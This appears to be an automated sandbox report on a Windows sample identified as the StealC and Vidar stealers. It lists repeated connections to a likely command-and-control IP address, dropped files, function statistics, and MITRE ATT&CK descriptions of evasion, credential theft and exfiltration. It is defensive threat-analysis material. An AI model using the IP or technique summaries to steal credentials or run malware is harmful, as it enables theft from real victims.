Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHIEBKKFHIEGCAKECGH

C:\ProgramData\DAFHIDGIJKJKECBGDBGHDBKFHI

C:\ProgramData\FHCGHJDB

C:\ProgramData\FHCGHJDBFIIDGDHIJDBG

C:\ProgramData\FIDGHIIECGHDHJKFCAEGIJDGCB

C:\ProgramData\GIJKKKFC

C:\ProgramData\HJKKFIJKFCAKJJJKJKFIEBFIDG

C:\ProgramData\KFIJJEGHDAEBGCAKJKFH

C:\ProgramData\KJJJKFIIIJJJECAAEHDBFHJEGD

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 007B9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 007A45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 007ABE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 007B4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 007B9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 007A7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 007B0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 007A5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre